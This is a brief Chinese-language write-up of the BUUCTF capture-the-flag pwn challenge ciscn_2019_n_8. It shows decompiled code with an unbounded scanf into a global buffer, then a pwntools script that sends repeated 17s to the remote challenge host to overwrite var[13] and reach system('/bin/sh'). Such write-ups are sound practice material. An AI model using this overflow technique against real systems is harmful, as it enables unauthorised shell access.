ciscn_2019_n_8【BUUCTF】

发现什么保护都开了，这样可能是堆题目或者是字符串漏洞，IDA查看代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }else{
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}
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很明显，只要var[13]==17就行，而scanf()又不限制长度，则直接全部输入17就行
exp:

from pwn import *
# io = process("./ciscn_2019_n_8")
io = remote("node4.buuoj.cn",26959)
payload = p32(17)*14
io.sendlineafter("What's your name?\n",payload)
io.interactive()
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